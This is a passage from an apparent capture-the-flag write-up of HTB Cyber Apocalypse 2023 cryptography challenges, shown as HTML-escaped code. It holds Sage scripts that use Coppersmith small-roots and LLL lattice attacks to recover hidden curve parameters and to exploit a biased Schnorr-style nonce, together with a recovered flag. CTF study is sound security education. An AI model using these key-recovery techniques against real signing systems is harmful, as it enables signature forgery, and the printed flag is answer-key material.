&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">g&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">base&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">prod&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">map&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">power&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">variables&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="n">shifts&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">G&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">g&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">B&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">monomials&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">G&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">coefficient_matrix&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">monomials&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">vector&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">monomials&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">factors&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">monomial&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">bounds&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">monomial&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">monomials&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">factor&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">enumerate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">factors&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">B&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rescale_col&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">factor&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">B&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">B&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dense_matrix&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">LLL&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">B&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">B&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">change_ring&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">QQ&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">factor&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">enumerate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">factors&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">B&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rescale_col&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">factor&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">H&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Sequence&lt;/span>&lt;span class="p">([],&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">parent&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">change_ring&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">QQ&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">h&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">filter&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kc">None&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">B&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">monomials&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">H&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">h&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">I&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">H&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">ideal&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">I&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dimension&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">H&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">pop&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">I&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dimension&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">roots&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">root&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">I&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">variety&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ring&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">ZZ&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">root&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">tuple&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">R&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">var&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">var&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">variables&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">roots&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">roots&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">bin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">bin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a_h&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Fp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">GF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">a_h&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b_h&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">x_P&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">y_P&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">map&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Fp&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">a_h&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b_h&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">x_P&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">y_P&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">P&lt;/span>&lt;span class="o">.&amp;lt;&lt;/span>&lt;span class="n">alpha&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">beta&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">PolynomialRing&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Fp&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">F&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">x_P&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">alpha&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">beta&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">x_P&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="mi">3&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="n">r&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">a_h&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">x_P&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="n">r&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">b_h&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">y_P&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="mi">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">roots&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">small_roots&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">F&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">m&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">d&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">a_l&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b_l&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">roots&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;a_l = &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">a_l&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;b_l = &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">b_l&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The results:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">a_l&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">4090003137759760265604501674930222345811449862978588668280246527938919495&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b_l&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">6854882327443898686047723082547152279783184053818145063785025112346556672&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After recovering &lt;code>x_l&lt;/code> and &lt;code>y_l&lt;/code>, I decrypted the &lt;code>FLAG&lt;/code> by this script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">hashlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">sha256&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">random&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">randint&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.Padding&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">pad&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">a_h&lt;/span> &lt;span class="o">&amp;lt;&amp;lt;&lt;/span> &lt;span class="mi">242&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">a_l&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">b_h&lt;/span> &lt;span class="o">&amp;lt;&amp;lt;&lt;/span> &lt;span class="mi">242&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">b_l&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">iv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">iv&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sha256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)))&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">()[:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_CBC&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">iv&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">enc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">enc&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">enc&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Flag is: &lt;strong>HTB{y0u_5h0u1d_h4v3_u53d_c00p325m17h}&lt;/strong>&lt;/p>
&lt;h2 id="biased-heritage">Biased Heritage&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://github.com/sudo-rainman/ctf_script/tree/main/htb_cyberapocalypse2023/crypto_biased_heritage" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> You emerge from the labyrinth to find a massive door blocking your path to the relic. It has the same authentication mechanism as the entrance, but it appears to be more sophisticated and challenging to crack. Can you devise a plan to breach the door and gain access to the relic?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Hard&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Compared to the last challenge (Colliding Heritage), &lt;code>k&lt;/code> is now generated by &lt;code>SHA256&lt;/code> insteads which is much more resilient against hash collision attacks than &lt;code>MD5&lt;/code> or nearly impossible to do so. Because of that, our previous attack wouldn&amp;rsquo;t work on this challenge.&lt;/p>
&lt;p>After noticing the word &lt;code>BIASED&lt;/code> in the challenge name, I had a hunch that this chall gonna need some LLL magic. Based on that, I kept looking for a small integer or atleast any repetitive parts of a number (or so called bias), and found one in the followng hashing function.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">bytes_to_long&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">sha256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can easily see that &lt;code>k = 2*SHA256( msg || secret )&lt;/code>. In other words, &lt;code>k = (2^256+1)\*x&lt;/code> where x is unknown &lt;code>256-bit&lt;/code> output from &lt;code>SHA256&lt;/code> function while k is &lt;code>512-bit&lt;/code>. Bingo, LLL time.&lt;/p>
&lt;p>Well, the server allows us to query for 3 times, we should use the first 2 times to collect signatures which are just enough for our use and the last ones to trick the server into giving us the flag. So we got:&lt;/p>
&lt;img src="equations.png" alt="Ảnh thì như này" width="1000"/>
&lt;p>Since &lt;code>S&lt;/code> is known &lt;code>512-bit&lt;/code>, and &lt;code>k&lt;/code> only has &lt;code>256&lt;/code> unknown bits we can start constructing a lattice to solve the SVP problem with LLL now.&lt;/p>
&lt;img src="matrix.png" alt="Ảnh thì như này" width="1000"/>
&lt;p>After LLL, we gonna get a short vector that look like this:&lt;/p>
&lt;img src="vector.png" alt="Ảnh thì như này" width="200"/>
&lt;p>Well, that was alot. Here comes the script in Sage (I parsed signature and submitted signatures all by hands):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">hashlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">sha256&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">##get 2 signature from server &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sig0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">2201384718072843790141885598870601009149158537568071358193592308444053168306421929467556420242693286691490522215468964110881851509880735493338991645390396&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2318623387388989624095214099569047825341708399431253151627450383635519224666598718188372928127571765685778247137818236688391434765968118358634695411837390&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sig1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">5643323405968098617359379045374815314162245377024975944768494215044558381083529231024356935255866448701807811319414715896126937899577482072265546826687923&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1027133811051642261997157563892411730891386064630632377323975878292520406108099727744365069912026927564457147136857066971987676141520708801237151093219205&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">s_temp&lt;/span>&lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">sig0&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">sig1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">e_temp&lt;/span>&lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">sig0&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">sig1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># q prime&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">q&lt;/span>&lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">10183765261512984706477412009638081602843766654569849535936436797593873507566983996455981325952833624810053852919430991796953569087107929681393648627640673&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">preal&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x184e26a581fca2893b2096528eb6103ac03f60b023e1284ebda3ab24ad9a9fe0e37b33eeecc4b3c3b9e50832fd856e9889f6c9a10cde54ee798a7c383d0d8d2c3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">g&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">s0&lt;/span>&lt;span class="o">=&lt;/span> &lt;span class="n">s_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">inverse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">e_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">s1&lt;/span>&lt;span class="o">=&lt;/span> &lt;span class="n">s_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">inverse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">e_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">temp0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="o">**&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">inverse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">e_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
